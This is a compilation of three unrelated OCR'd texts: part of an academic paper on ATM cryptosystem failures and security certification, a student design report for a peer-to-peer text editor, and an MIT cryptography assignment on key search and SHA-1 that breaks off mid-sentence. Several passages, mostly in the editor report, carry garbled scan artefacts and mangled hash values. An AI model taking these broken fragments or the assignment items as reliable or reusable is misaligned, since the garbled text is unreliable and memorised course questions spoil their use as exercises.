useless, unless the encryption is salted with the
account number or otherwise tied to the individ-
ual card; there are many other subtle errors which
can be made in designing cryptographic proto-
cols, and the study of them is a whole discipline
of itself [BAN]. In fact, there is open controversy
about the design of a new banking encryption
standard, ISO 11166, which is already in use by
some 2,000 banks worldwide [R].

e It is also possible to find a DES key by brute

force, by trying all the possible encryption keys
until you find the one which the target bank uses.
The protocols used in international networks to
encrypt working keys under zone keys make it
easy to attack a zone key in this way: and once
this has been solved, all the PINs sent or received
by that bank on the network can be decrypted.
A recent study by researchers at a Canadian bank
[GO] concluded that this kind of attack would
now cost about £30,000 worth of specialist com-
puter time per zone key. It follows that it is well
within the resources of organised crime, and could
even be carried out by a reasonably well heeled
individual.
If, as seems likely, the necessary specialist com-
puters have been built by the intelligence agen-
cies of a number of countries, including countries
which are now in a state of chaos, then there is
also the risk that the custodians of this hardware
could misuse it for private gain.

3.2.3 The consequences for bankers

The original goal of ATM crypto security was that no sys-

5. Cryptanalysis may be one of the less likely threats to tematic fraud should be possible without the collusion of at
banking systems, but it cannot be completely ruled least two bank staff [NSM]. Most banks do not seem to have
out. achieved this goal, and the reasons have usually been imple-

mentation blunders, ramshackle administration, or both.
e Some banks (including large and famous ones) are

still using home-grown encryption algorithms of a
pre-DES vintage. One switching network merely
‘scrambled’ data blocks by adding a constant to
them; this went unprotested for five years, despite
the network having over forty member banks -
all of whose insurance assessors, auditors and se-
curity consultants presumably read through the
system specification.

In one case, the two defendants tried to entice
a university student into helping them break a
bank’s proprietary algorithm. This student was
studying at a maths department where teaching
and research in cryptology takes place, so the
skills and the reference books were indeed avail-
able. Fortunately for the bank, the student went
to the police and turned them in.

The technical threats described in section 3.2.2 above
are the ones which most exercised the cryptographic equip-
ment industry, and which their products were designed to
prevent. However, only two of the cases in that section ac-
tually resulted in losses, and both of those can just as easily
be classed as implementation failures.

The main technical lessons for bankers are that compe-
tent consultants should have been hired, and much greater
emphasis should have been placed on quality control. This is
urgent for its own sake: for in addition to fraud, errors also
cause a significant number of disputed ATM transactions.

All systems of any size suffer from program bugs and op-
erational blunders: banking systems are certainly no excep-
tion, as anyone who has worked in the industry will be aware.



Branch accounting systems tend to be very large and com-
plex, with many interlocking modules which have evolved
over decades. Inevitably, some transactions go astray: deb-
its may get duplicated or posted to the wrong account.

This will not be news to financial controllers of large com-
panies, who employ staff to reconcile their bank accounts.
When a stray debit appears, they demand to see a voucher
for it, and get a refund from the bank when this cannot be
produced. However, the ATM customer with a complaint
has no such recourse; most bankers outside the USA just
say that their systems are infallible.

This policy carries with it a number of legal and ad-
ministrative risks. Firstly, there is the possibility that it
might amount to an offence, such as conspiracy to defraud;
secondly, it places an unmeetable burden of proof on the
customer, which is why the US courts struck it down [JC],
and courts elsewhere may follow their lead; thirdly, there is
a moral hazard, in that stafl are encouraged to steal by the
knowledge that they are unlikely to be caught; and fourthly,
there is an intelligence failure, as with no central records
of customer complaints it is not possible to monitor fraud
patterns properly.

The business impact of ATM losses is therefore rather
hard to quantify. In the UK, the Economic Secretary to
the Treasury (the minister responsible for bank regulation)
claimed in June 1992 that errors affected at most two ATM
transactions out of the three million which take place every
day [B]; but under the pressure of the current litigation,
this figure has been revised, firstly to 1 in 250,000, then 1
in 100,000, and lately to 1 in 34,000 [M1].

As customers who complain are still chased away by
branch staff, and since a lot of people will just fail to notice
one-off debits, our best guess is that the real figure is about
1 in 10,000. Thus, if an average customer uses an ATM once
a week for 50 years, we would expect that about one in four
customers will experience an ATM problem at some time in
their lives.

Bankers are thus throwing away a lot of goodwill, and
their failure to face up to the problem may undermine confi-
dence in the payment system and contribute to unpopular-
ity, public pressure and ultimately legislation. While they
consider their response to this, they are not only under fire in
the press and the courts, but are also saddled with systems
which they built from components which were not under-
stood, and whose administrative support requirements have
almost never been adequately articulated. This is hardly the
environment in which a clear headed and sensible strategy
is likely to emerge.

3.3 The implications for equipment vendors

Equipment vendors will argue that real security expertise is
only to be found in universities, government departments,
one or two specialist consultancy firms, and in their design
labs. Because of this skill shortage, only huge projects will
have a capable security expert on hand during the whole of
the development and implementation process. Some projects
may get a short consultancy input, but the majority will
have no specialised security effort at all. The only way in

which the experts’ knowhow can be brought to market is
therefore in the form of products, such as hardware devices,
software packages and training courses.

If this argument is accepted, then our research implies
that vendors are currently selling the wrong products, and
governments are encouraging this by certifying these prod-
ucts under schemes like ITSEC.

As we have seen, the suppliers’ main failure is that they
overestimate their customers’ level of cryptologic and secu-
rity design sophistication.

IBM'’s security products, such as the 3848 and the newer
4753, are a good case in point: they provide a fairly raw
encryption capability, and leave the application designer to
worry about protocols and to integrate the cryptographic
facilities with application and system software.

This may enable IBM to claim that a 4753 will do any
cryptographic function that is required, that it can handle
both military and civilian security requirements and that it
can support a wide range of security architectures [JDKLM);
but the hidden cost of this flexibility is that almost all their
customers lack the skills to do a proper job, and end up with
systems which have bugs.

A second problem is that those security functions which
have to be implemented at the application level end up being
neglected. For example, security modules provide a warn-
ing message if a decrypted key has the wrong parity, which
would let the bank know that someone is experimenting with
the system; but there is usually no mainframe software to
relay this warning to anyone who can act on it.

The third reason why equipment designers should be on
guard is that the threat environment is not constant, or
even smoothly changing. In many countries, organised crime
ignored ATMs for many years, and losses remained low; once
they took an interest, the effect was dramatic [BAB]. In fact,
we would not be too surprised if the Mafia were to build a
keysearch machine to attack the zone keys used in ATM
networks. This may well not happen, but banks and their
suppliers should work out how to react if it does.

A fourth problem is that sloppy quality control can make
the whole exercise pointless. A supplier of equipment whose
purpose is essentially legal rather than military may at any
time be the subject of an order for disclosure or discov-
ery, and have his design notes, source code and test data
seized for examination by hostile expert witnesses. If they
find flaws, and the case is then lost, the supplier could face
ruinous claims for damages from his client. This may be a
more hostile threat environment than that faced by any mil-
itary supplier, but the risk does not seem to be appreciated
by the industry.

In any case, it appears that implementing secure com-
puter systems using the available encryption products is
beyond most organisations’ capabilities, as indeed is main-
taining and managing these systems once they have been
installed. Tackling this problem will require:



e a system level approach to designing and evaluating
security. This is the important question, which we
will discuss in the next section

e a certification process which takes account of the hu-
man environment in which the system will operate.
This is the urgent question.

The urgency comes from the fact that many companies
and government departments will continue to buy whatever
products have been recommended by the appropriate au-
thority, and then, because they lack the skill to implement
and manage the security features, they will use them to build
systems with holes.

This outcome is a failure of the certification process. One
would not think highly of an inspector who certified the
Boeing 747 or the Sukhoi Su-26 for use as a basic trainer, as
these aircraft take a fair amount of skill to fly. The aviation
community understands this, and formalises it through a
hierarchy of licences - from the private pilot’s licence for
beginners, through various commercial grades, to the airline
licence which is a legal requirement for the captain of any
scheduled passenger flight.

In the computer security community, however, this has
not happened yet to any great extent. There are some qual-
ifications (such as Certified Information Systems Auditor)
which are starting to gain recognition, especially in the USA,
but most computer security managers and staff cannot be
assumed to have had any formal training in the subject.

There are basically three courses of action open to equip-
ment vendors:

e to design products which can be integrated into sys-
tems, and thereafter maintained and managed, by com-
puter stafl with a realistic level of expertise

e to train and certify the client personnel who will imple-
ment the product into a system, and to provide enough
continuing support to ensure that it gets maintained
and managed adequately

e to supply their own trained and bonded personnel to
implement, maintain and manage the system.

The ideal solution may be some combination of these.
For example, a vendor might perform the implementation
with its own staff; train the customer’s staff to manage the
system thereafter; and design the product so that the only
maintenance possible is the replacement of complete units.
However, vendors and their customers should be aware that
both the second and third of the above options carry a sig-
nificant risk that the security achieved will deteriorate over
time under normal budgetary pressures.

Whatever the details, we would strongly urge that in-
formation security products should not be certified under
schemes like ITSEC unless the manufacturer can show that
both the system factors and the human factors have been
properly considered. Certification must cover not just the
hardware and software design, but also installation, training,
maintenance, documentation and all the support that may
be required by the applications and environment in which
the product is licensed to be used.

4 The Wider Implications

As we have seen, security equipment designers and govern-
ment evaluators have both concentrated on technical weak-
nesses, such as poor encryption algorithms and operating
systems which could be vulnerable to trojan horse attacks.
Banking systems do indeed have their share of such loop-
holes, but they do not seem to have contributed in any sig-
nificant way to the crime figures.

The attacks which actually happened were made possi-
ble because the banks did not use the available products
properly; due to lack of expertise, they made basic errors
in system design, application programming and administra-
tion.

In short, the threat model was completely wrong. How
could this have happened?

4.1 Why the threat model was wrong

During the 1980’s, there was an industry wide consensus
on the threat model, which was reinforced at conferences
and in the literature. Designers concentrated on what could
possibly happen rather than on what was likely to happen,
and assumed that criminals would have the expertise, and
use the techniques, of a government signals agency. More
seriously, they assumed that implementers at customer sites
would have either the expertise to design and build secure
systems using the components they sold, or the common
sense to call in competent consultants to help. This was
just not the case.

So why were both the threat and the customers’ abilities
so badly misjudged?

The first error may be largely due to an uncritical ac-
ceptance of the conventional military wisdom of the 1970's.
When ATMs were developed and a need for cryptographic
expertise became apparent, companies imported this exper-
tise from the government sector [C3]. The military model
stressed secrecy, so secrecy of the PIN was made the cor-
nerstone of the ATM system: technical efforts were directed
towards ensuring it, and business and legal strategies were
predicated on its being achieved. It may also be relevant
that the early systems had only limited networking, and so
the security design was established well before ATM net-
works acquired their present size and complexity.

Nowadays, however, it is clear that ATM security in-
volves a number of goals, including controlling internal fraud,
preventing external fraud, and arbitrating disputes fairly,
even when the customer’s home bank and the ATM raising
the debit are in different countries. This was just not un-
derstood in the 1970's; and the need for fair arbitration in
paticular seems to have been completely ignored.

The second error was probably due to fairly straightfor-
ward human factors. Many organisations have no computer
security team at all, and those that do have a hard time find-
ing it a home within the administrative structure. The in-
ternal audit department, for example, will resist being given



any line management tasks, while the programming staff dis-
like anyone whose role seems to be making their job more
difficult.

Security teams thus tend to be ‘reorganised’ regularly,
leading to a loss of continuity; a recent study shows, for
example, that the average tenure of computer security man-
agers at US government agencies is only seven months [H].
In the rare cases where a security department does manage
to thrive, it usually has difficulties attracting and keeping
good engineers, as they get bored once the initial develop-
ment tasks have been completed.

These problems are not unknown to security equipment
vendors, but they are more likely to flatter the customer and
close the sale than to tell him that he needs help.

This leaves the company’s managers as the only group
with the motive to insist on good security. However, telling
good security from bad is notoriously difficult, and many
companies would admit that technical competence (of any
kind) is hard to instil in managers, who fear that becoming
specialised will sidetrack their careers.

Corporate politics can have an even worse effect, as we
saw above: even where technical staff are aware of a security
problem, they often keep quiet for fear of causing a powerful
colleague to lose face.

Finally we come to the ‘consultants’> most banks buy
their consultancy services from a small number of well known
firms, and value an ‘air of certainty and quality’ over tech-
nical credentials. Many of these firms pretend to expertise
which they do not possess, and cryptology is a field in which
it is virtually impossible for an outsider to tell an expert
from a charlatan. The author has seen a report on the secu-
rity of a national ATM network switch, where the inspector
(from an eminent firm of chartered accountants) completely
failed to understand what encryption was, and under the
heading of communications security remarked that the junc-
tion box was well enough locked up to keep vagrants out!

4.2 Confirmation of our analysis

It has recently become clear (despite the fog of official se-
crecy) that the military sector has suffered exactly the same
kind of experiences that we described above. The most dra-
matic confirmation came at a workshop held in Cambridge
in April 93 [M2], where a senior NSA scientist, having heard
a talk by the author on some of these results, said that:

o the vast majority of security failures occur at the level
of implementation detail

e the NSA is not cleverer than the civilian security com-
munity, just better informed of the threats. In partic-
ular, there are ‘platoons’ of people whose career spe-
ciality is studying and assessing threats of the kind
discussed here

the threat profiles developed by the NSA for its own
use are classified

This was encouraging, as it shows that our work is both
accurate and important. However, with hindsight, it could
have been predicted. Kahn, for example, attributes the Rus-
sian disasters of World War 1 to the fact that their soldiers
found the more sophisticated army cipher systems too hard
to use, and reverted to using simple systems which the Ger-
mans could solve without great difficulty [K1].

More recently, Price’s survey of US Department of De-
fence organisations has found that poor implementation is
the main security problem there [P]: although a number of
systems use ‘trusted components’, there are few, if any, oper-
ational systems which employ their features effectively. In-
deed, it appears from his research that the availability of
these components has had a negative effect, by fostering
complacency: instead of working out a system’s security re-
quirements in a methodical way, designers just choose what
they think is the appropriate security class of component
and then regurgitate the description of this class as the se-
curity specification of the overall system.

The need for more emphasis on quality control is now
gaining gradual acceptance in the military sector; the US
Air Force, for example, is implementing the Japanese con-
cept of ‘total quality management’ in its information secu-
rity systems [SSWDC]. However, there is still a huge vested
interest in the old way of doing things; many millions have
been invested in TCSEC and ITSEC compliant products,
and this investment is continuing. A more pragmatic ap-
proach, based on realistic appraisal of threats and of organ-
isational and other human factors, will take a long time to
become approved policy and universal practice.

Nonetheless both our work, and its military confirma-
tion, indicate that a change in how we do cryptology and
computer security is needed, and there are a number of signs
that this change is starting to get under way.

5 A New Security Paradigm?

As more people become aware of the shortcomings of tra-
ditional approaches to computer security, the need for new
paradigms gets raised from time to time. In fact, there are
now workshops on the topic [NSP], and an increasing num-
ber of journal papers make some kind of reference to it.

It is clear from our work that, to be effective, this change
must bring about a change of focus. Instead of worrying
about what might possibly go wrong, we need to make a
systematic study of what is likely to; and it seems that the
core security business will shift from building and selling
‘evaluated’ products to an engineering discipline concerned
with quality control processes within the client organisation.

When a paradigm shift occurs [K2], it is quite common
for a research model to be imported from some other dis-
cipline in order to give structure to the newly emerging re-
sults. For example, Newton dressed up his dramatic results
on mechanics in the clothing of Euclidean geometry, which
gave them instant intellectual respectability; and although
geometry was quickly superseded by calculus, it was a use-
ful midwife at the birth of the new science. It also had a
lasting influence in its emphasis on mathematical elegance
and proof.



So one way for us to proceed would be to look around for
alternative models which we might usefully import into the
security domain. Here, it would seem that the relationship
between secure systems and safety critical systems will be
very important.

5.1 A new metaphor

Safety critical systems have been the subject of intensive
study, and the field is in many ways more mature than com-
puter security. There is also an interesting technical duality,
in that while secure systems must do at most X, critical
systems must do at least X; and while many secure systems
must have the property that processes write up and read
down, critical systems are the opposite in that they write
down and read up. We might therefore expect that many
of the concepts would go across, and again it is the US Air
Force which has discovered this to be the case [JAJP]. The
relationship between security and safety has also been in-
vestigated by other researchers [BMD].

There is no room here for a treatise on software engineer-
ing for safety critical systems, of which there are a number
of introductory articles available [C4]. We will mention only
four very basic points [M3]:

1. The specification should list all possible failure modes
of the system. This should include every substantially
new accident or incident which has ever been reported
and which is relevant to the equipment being specified.

2. The specification should make clear what strategy has
been adopted to prevent each of these failure modes,
or at least make them acceptably unlikely.

3. The specification should then explain in detail how
each of these failure management strategies is imple-
mented, including the consequences when each single
component, subroutine or subassembly of the system
itself fails. This explanation must be assessed by inde-
pendent experts, and it must cover not just technical
design factors, but training and operational issues too.
If the procedure when an engine fails is to fly on with
the other engine, then what skills does a pilot need to
do this, and what are the procedures whereby these
skills are acquired, kept current and tested?

4. The certification program must test whether the equip-
ment can in fact be operated by people with the level
of skill and experience assumed in the specification. It
must also include a monitoring program whereby all
incidents are reported to both the equipment manu-
facturer and the certification body.

These points tie in exactly with our findings (and with
the NSA's stated experience). However, even a cursory com-
parison with the ITSEC programme shows that this has a
long way to go. As we mentioned in the introduction, no-
one seems so far to have attempted even the first stage of
the safety engineering process for commercial cryptographic
systems.

As for the other three stages, it is clear that ITSEC (and
TCSEC) will have to change radically. Component-oriented

security standards and architectures tend to ignore the two
most important factors, which are the system aspect and
the human element; in particular, they fail to ensure that
the skills and performance required of various kinds of staff
are included, together with the hardware and software, in
the certification loop.

5.2 The competing philosophies

Within the field of critical systems, there are a number of
competing approaches. The first is epitomised by railway
signalling systems, and seeks either to provide multiple re-
dundant interlocks or to base the safety features on the in-
tegrity of a kernel of hardware and software which can be
subjected to formal verification [CW].

The second is the aviation paradigm which we introduced
at the beginning of this article; here the quality engineering
process is based on constant top level feedback and incre-
mental improvement. This feedback also occurs at lower lev-
els, with various distinct subsystems (pilot training, main-
tenance, airworthiness certification, traffic control, naviga-
tional aids, ...) interacting in fairly well understood ways
with each other.

Of these two models, the first is more reductionist and
the second more holist. They are not mutually exclusive
(formal verification of avionics is not a bad thing, unless
people then start to trust it too much); the main difference
is one of system philosophy.

The most basic aspect of this is that in signalling sys-
tems, the system is in control; if the train driver falls asleep,
or goes through a red light, the train will stop automatically.
His task has been progressively deskilled until his main func-
tion is to see that the train stops precisely at the platform
(and in some modern railways, even this task is performed
automatically, with the result that driverless trains are be-
ginning to enter service).

In civil aviation, on the other hand, the pilot remains
firmly in command, and progress has made his job ever more
complex and demanding. It was recently revealed, for exam-
ple, that Boeing 747 autopilots have for 22 years been sub-
ject to erratic failures, which can result in the plane starting
to roll.

Boeing’s response was blunt: autopilots ‘are designed to
assist and supplement the pilot’s capabilities and not replace
them’, the company said [CR]. ‘This means our airplanes
are designed so pilots are the final control authority and it
means that a well trained crew is the first line of safety.’

5.3 The computer security implications

Both the railway and airline models find reflections in cur-
rent security practice and research. The former model is
dominant, due to the TCSEC/ITSEC emphasis on kerneli-
sation and formal methods. In addition to the conventional
multilevel secure evaluated products, kernelisation has been
used at the application layer as well [A2] [C5].



Nonetheless, we must consider whether this is the right
paradigm to adopt. Do we wish to make the computer se-
curity officer’s job even more mechanical, and perhaps au-
tomate it entirely? This is the direction in which current
trends seem to lead, and if our parallel with signalling sys-
tems is accurate, it is probably a blind alley; we should
follow the aviation paradigm instead.

Another analogy is presented in [BGS], where it is ar-
gued that the traditional centralised model of security is
like the old communist approach to economic management,
and suffers from the same limitations. The authors there
argue that to cope with a world of heterogeneous networks
in which no single security policy is able to predominate, we
need an infrastructure which enables information owners to
control and trade their own property, rather than trusting
everything to a centralised administrative structure.

This analogy from economics would, if developed, lead to
somewhat similar conclusions to those which we draw from
comparing railway signals with air traffic control systems.
No doubt many other analogies will be explored over the
next few years; the key point seems to be that, to be useful,
a security metaphor should address not just the technical
issues, but the organisational ones as well.

6 Conclusions

Designers of cryptographic systems have suffered from a lack
of information about how their products fail in practice,
as opposed to how they might fail in theory. This lack of
feedback has led to a false threat model being accepted.
Designers focussed on what could possibly go wrong, rather
than on what was likely to; and many of their products
are so complex and tricky to use that they are rarely used
properly.

As a result, most security failures are due to implemen-
tation and management errors. One specific consequence
has been a spate of ATM fraud, which has not just caused
financial losses, but has also caused at least one miscarriage
of justice and has eroded confidence in the UK banking sys-
tem. There has also been a military cost; the details remain
classified, but its existence has at last been admitted.

Our work also shows that component-level certification,
as embodied in both the ITSEC and TCSEC programs, is
unlikely to achieve its stated goals. This, too, has been
admitted indirectly by the military (at least in the USA);
and we would recommend that the next versions of these
standards take much more account of the environments in
which the components are to be used, and especially the
system and human factors.

Most interesting of all, however, is the lesson that the
bulk of computer security research and development activity
is expended on activities which are of marginal relevance to
real needs. A paradigm shift is underway, and a number
of recent threads point towards a fusion of security with
software engineering, or at the very least to an influx of
software engineering ideas.

Our work also raises some very basic questions about
goals, and about how the psychology of a design interacts

with organisational structure. Should we aim to automate
the security process, or enable it to be managed? Do we
control or facilitate? Should we aim for monolithic systems,
or devise strategies to cope with diversity? Either way, the
tools and the concepts are becoming available. At least we
should be aware that we have the choice.

Acknowledgement: I owe a significant debt to Karen
Sparck Jones, who went through the manuscript of this pa-
per and ruthlessly struck out all the jargon. Without her
help, it would have been readable only by specialists.
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Introduction

Users would like to collaborate on a text document without using a central server or needing to be
online all the time. We propose the design of DecentralizedDocs, a peer-to-peer text editor, which
fulfills this demand. DecentralizedDocs allows users to edit text offline and then reconcile the text with
their teammates. It supports both written text and code.

DecentralizedDocs requires that each machine has a unique machine name.

Data Structure

The basic unit of the document is a line. In code this is simply one line, but in a written text document,
one line is equivalent to a paragraph when word wrap is enabled. Lines are broken up by \n characters.
Line structures contain a reference to the text in the line, an index showing the line's position in the
document, and a unique ID. This line ID is the hash of the current timestamp and machine name, making
it effectively random. Lines have the following code:

struct Line {
long id;
char* text;
int position;
VersionVector text_version_vector;
VersionVector position_version_vector;

Each line has two version vectors associated with it; one for text and the other for position. A
version vector contains a line revision numbers for each user. Version numbers start at @ for a new line.
When either text or position is changed, the corresponding version vector component is
incremented by 1. Version vectors have this code:

struct VersionVector {
int version_counters[N]; // N is the number of collaborators
// Position n corresponds with collaborator n

DecentralizedDocs stores documents in memory as linked lists of lines. To save documents on disk, it
serializes the linked lists. Figure 1 shows the data structure of a document.



The document (as seen by the user) The document (as Lines in memory)

This is a paragraph in the document. ™., id: 34314

""""""""""" text: "..."
’ position: 0
text_version_vector: <2, 3, 1>
position_version_vector: <1, 1, 2>

This is a second paragraph. Note that it is possible
for lines to wrap around.

id: 14255

text: "..."

position: 1

L text_version_vector: <3, 5, 9>
position_version_vector: <1, 1, 3>

Figure 1. The data structure. The user sees a continuous block of text, but lines are stored in their own structures
internally.

Reconciliation
DecentralizedDocs system only supports pair-wise reconciliation. In larger networks, pairs will reconcile
individually until the entire network reaches equilibrium.

We define an operation called “pull.” When Alice pulls from Bob, Bob sends Alice his linked list of line
data structures. Alice adds to her document all line data structures that were newly created in Bob's
version. Alice then compares all of her version vectors with Bob's. If one version vector is completely
larger than the other (all of its components are greater than or equal to the other vector's components),
then that vector's corresponding value will be used in the merged document. If one vector is not
completely equal or greater than, the version vectors are concurrent. If the vectors are concurrent,
DecentralizedDocs compares the two changed variables. If the changes are both the same (both users
made the same change), it automatically accepts that change; otherwise, it asks Alice to resolve the
conflict. At the end of the pull, Alice's version vectors are updated to contain the maximum version
number between her vectors and Bob's for each component.

The following listing shows an example of version vectors syncing:

Before sync:

A’s W = <5,7>
B’S W = <5,9> Lq(aal s oo @ F?‘&w—a 3

]

B’s text is chosen

After sync:
A’s VW = <5,9>



B’s W = <5,9>

A “sync” can be implemented as two pulls wrapped in a transaction: first Alice pulls from Bob (possibly
with manual resolution), then Bob pulls from Alice (this is completely automatic; after the first pull, all of
Alice's version vectors are strictly newer than Bob's). After the sync, Alice and Bob have identical
documents and version vectors. If at any point during the sync the connection or one host fails, the sync
is aborted and all changes are rolled back.

— Le there Za;g o2y yot‘aj e he~e ]
If Alice edits sentence x of a Line while Bob edits sentence y (two changes to the same text variable),
DecentralizedDocs considers this to be a conflict requiring manual resolution. While it is possible to
create a merged line containing Alice's sentence x and Bob's sentence y, doing so may create a
paragraph that is semantically invalid. Merging in this case could be especially harmful in languages
other than English. We think silently writing such a paragraph to the document is not user-friendly, and
choose to alert our users instead.

Scenarios

Our design for a Peer-to-Peer text editor supports various scenarios.

If two users each make changes to different paragraphs, the system will take the latest version of each
paragraph without conflict because they involve different variables.

If two users both change the same line differently, we recognize the possibility that the two changes
together produces incorrect semantics, and ask for conflict resolution. If both users make the same
change, those changes will be processed without conflict. The resolved line will have its version vector
incremented at the index for the user who made the pull, preventing double-reconciliation.

“— Geoodd
If a user moves a line, and another user edits that line, those changes will be reconciled without conflict
because they involve different variables.

Text Editor Ul

DecentralizedDocs provides a text editor with a special user interface.

The document does not auto reconcile or display the cursor of other users. Instead, the document
reconciles when the user clicks the save/refresh button. If there is a conflict, a special user interface will
launch. A user may also attempt to “commit” the document in order to make it as final. All of the users
need to agree to commit the document in order for the document to commit.

Conflict Resolution Ul

When the system encounters concurrent version vectors, it is not able to reconcile the changes by itself,
so it will present a conflict resolution user interface dialog. Once conflicts are resolved between users,
those who share a version of the files involved with the conflict will be updated when they sync with
someone who has a resolved version (and thus newer version vectors).



Committing

The commit system is implemented as a two-phase commit system. The commit initiator serves as a
coordinator by contacting all of the users in the system individually. The coordinator also maintains a
transaction log for error recovery.

When a pair of users attempts to commit, the system will check that both users are connected over a
network. If the users are not connected, the message will be stored so that it appears once the users
become connected.

The process will first check to make sure that all users are up to date (i.e. all version vectors match
among all users). If this condition is not met, the commit will be aborted. Next, are asked if they want
to commit through a user interface. All users must agree to the commit before the commit occurs. If
any user disagrees, the process is aborted. After a user agrees to commit, their local file is locked.

If all users agree, the coordinator decides to commit. A checkpoint is recorded in the log, along with the
specific version being committed. The coordinator then tells all nodes to actually commit. The local
node marks that version as committed and unlocks the local copy.

If something goes wrong before the coordinator decides to commit, the coordinator can tell the local
nodes to release their locks. If something goes wrong after the coordinator decides to commit, the

commit will be processed once the nodes come back online.

For the sake of simplicity, only one commit at a time can be initiated.

(9000( ¢’/‘Ea/-71 F,al*-e Swe 1(0 0(."&6(»(.:
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M.I.T. DEPARTMENT OF EECS

6.033 - Computer System Engineering Crypto Hands-On Assignment

Hands-on 7: Cryptography and Certificates

Complete the following hands-on assignment. Do the activities described, and submit your solutions using the online submission site before the
beginning of recitation.

The goal of this hands-on is to give you an introduction to mathematics and the algorithmic building blocks of moderns cryptographic protocols.
Before attempting this hands-on, you should read Chapter 11 of the class notes.

Part 1: Big Numbers and Brute-Force Attacks

One way to unseal a sealed message is to try every possible key. This kind of attack is known as a brute-force attack or a key search attack. The
longer the key, the harder the attack.

Keys are almost always represented as blocks of binary data. Some cryptographic transformations use a fixed number of bits, while others allow a
variable number. The table below lists some common cryptographic transformations and the key sizes that they use:

Cipher Key Size
The Data Encryption Standard (DES) 56 bits
RC-2 40-1024 bis
RC-4 40-1024 bis

Advanced Encryption Standard (AES) 128, 192 or 256 bits

Although there are many factors that come into play when evaluating the strength of a cryptographic transformation, the length of the key is clearly
important. This is because an attacker who is in possession of a sealed message can always mount a brute-force attack. Since longer keys have
more possible values than shorter keys, longer keys are more resistant to brute-force attacks. (Note: this does not mean that cryptographic
transformations that use longer keys are more secure. It may still be possible to attack a flaw in the algorithm, rather than simply testing every
possible key. For example, the obsolete LUCIFER cryptographic transformation uses a 128-bit shared secret, while the DES uses a 56-bit key. But
LUCIFER, unlike the DES, was susceptible to a particular kind of attack called differential cryptanalysis. This attack method was not publicly
known at the time that the DES was published, but it was secretly known by the National Security Agency mathematicians who worked on DES.)

In this problem we will explore the impact of different key lengths on system security.

In general, because a key of n bits can have 2" possible values, there can be at most 2" different keys. For example, a 16-bit key can have 2'6 or
65,536 different values. If you had a computer that could try 100 of these keys every second, it would take 654 seconds or roughly 11 minutes to
try all possible keys. (If you are cracking many keys, the expected time to crack any given key is half that, as on average you will need to try half
of the keys before you find the right one. Of course you could get lucky and try the key on your first attempt, or you could be unlucky and have to
try nearly every single key.)

In your study of cryptography, you will discover that many products have the ability to use either so-called "weak" or "export-grade" encryption
and "strong" or so-called "domestic" or "military-grade” cryptography. Usually the "weak" cryptography is limited to an effective secret key length
of just 40 bits. The 40-bit restriction dates from a time when the United States government had regulations prohibiting the exportation of products
containing strong cryptographic technology. Even though these regulations were largely eliminated more than five years ago, their legacy lives on
today. For example, Microsoft Office XP uses a 40-bit RC2 key to seal documents that are given a "password."

With clever programming, a modern desktop computer can try over a million RC2 keys every second.

Question 1.1: What is the maximum amount of time that it would take for a computer that can try 1 million RC2 keys every second to do a
brute-force attack on a Microsoft Office document sealed with a cryptographic transformation that uses a 40-bit shared secret?

Question 1.2: Microsoft Office 2003 uses the AES cryptographic transformation with a 128-bit shared secret to control access to documents
controlled by Windows Rights Management technologies. If AES keys can be tried with the same speed as RC2 keys using the computer described
in Question 1.1, what is the maximum amount of time that it would take for a brute-force attack on a single document sealed with the Windows
Rights Management technology?

Question 1.3: How does your answer to question 1.2 compare to the age of the Universe, currently estimated at somewhere between 13.5 billion
and 14 billion years?

With advances in technology it may be possible at some point in the future to have billions of high-speed computers in a very small volume.

Question 1.4: If you upgrade your computer to system that has a billion processing elements, each of which can try a billion keys in a second, is
your secret still safe from attack?

In fact, computers are getting faster every year. Moore's law is commonly believed to hold that computers are doubling in speed every 18 months.
What's more, faster techniques are being developed for reversing cryptographic transformations, Thus, simple estimates for the lifetime of a sealing
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key that do not take into account the relentless march of technology are inherently flawed.

Question 1.5: If you start with a computer today that can try 1 million keys every second and every 18 months you throw away that computer buy
another for this project that is twice as fast, how long will it be until you have tried all possible 128-bit AES sealing keys?

One of the challenges in mounting a successful brute-force attack is that your program needs to be able to have some way of recognizing when it
has guessed the correct key. Sometimes such recognitions are easy: the sealed text decrypts to English or another human-readable language. Your
program can do a letter-frequency analysis on the resulting text and determine if the entropy is low or high; low-entropy indicates that the
unsealing operation was successful. Recognizing a correct key becomes trivial if the decrypted message includes a checksum or message
authentication code (MAC). In general, the longer the ciphertext, the easier it is to recognize when a correct key is guessed.

Extra Credit: The AES standard allows for key lengths of 128 bits, 192 bits and 256 bits. Can you give a practical reason why a 192-bit or a
256-bit shared secret would provide more security than a 128-bit shared secret?

Part 2: Cryptographic Hashing

This section explores some properties of cryptographic hashing functions. For more information on cryptographic hashes, see section 11.2.3 of the
notes. Cryptographic hashes are used as building blocks of many security primitives, including digital signatures (see section 11.3 of the notes).

The SHA-1 cryptographic hash function produces a 160-bit value, called a residue or a hash, for any given input. Since 160 bits is 20 bytes, there
must be many files that have the same hash. (For example, given a file that is 21 bytes in length, there should be approximately 255 other 21-byte
files that have the same hash. This is a simple application of the pigeonhole principle.) Nevertheless, no two files have yet been found that have the
same SHA-1 hash, known as a "collision".

Note: While no SHA-1 collisions have been found, security flaws have been identified in it, and new hash standards are currently under
development.

A version of the SHA-1 is built into the openssl command-line program that is available on Athena (/usr/athena/bin/openssi) and MacOS X
(/usr/bin/openssl). When openssl is run with the shal argument and one or more filenames, the program computes the SHA-1 hash of each file
and prints the result as a hexadecimal string. If no files are presented, the program calculates the SHA-1 of any input presented on standard input.

For example, to compute the SHA-1 of the file /etc/motd you could use this command:
athena% openssl shal /etc/motd

SHAL (/etc/motd) = 1£3a70355ed8d34cScc742fd64c2ecad2b0dl846
athena%

Notice that this 160-bit output is encoded in 40 hexadecimal digits.

To calculate the SHA-1 of the string "MIT", you could use this command:

athena% echo "MIT" | openssl shal
Tbf26£2a41bb62£30b10£8a7404£2508£86023e6
athena%

(In fact, the code that is shown above is actually the SHA-1 of the three characters M, I and T followed by a newline character.)

Question 2.1: Compute the SHA-1 of the string "Massachusetts Institute of Technology" (either with or without the newline).

Question 2.2: Estimate the chance that there another file on any computer at MIT that has the same SHA-1 value that you calculated in question
2.1. Show your work. To do this problem, you will need a rough estimate of the number of computers at MIT, and the number of unique files that

each of those computers contains.

Question 2.3: Compute how long it would take to find a string with the same SHA-1 hash as your answer in Question 2.1, using today's computers.
Part 3: GPG, Signatures and Certificates

This part of the hands-on assignment uses GNU Privacy Guard (GPG), a message security program that is based on the program Pretty Good
Privacy (PGP). The GPG program implements a full suite of signing and sealing algorithms, bulk cryptographic transformation algorithms, and
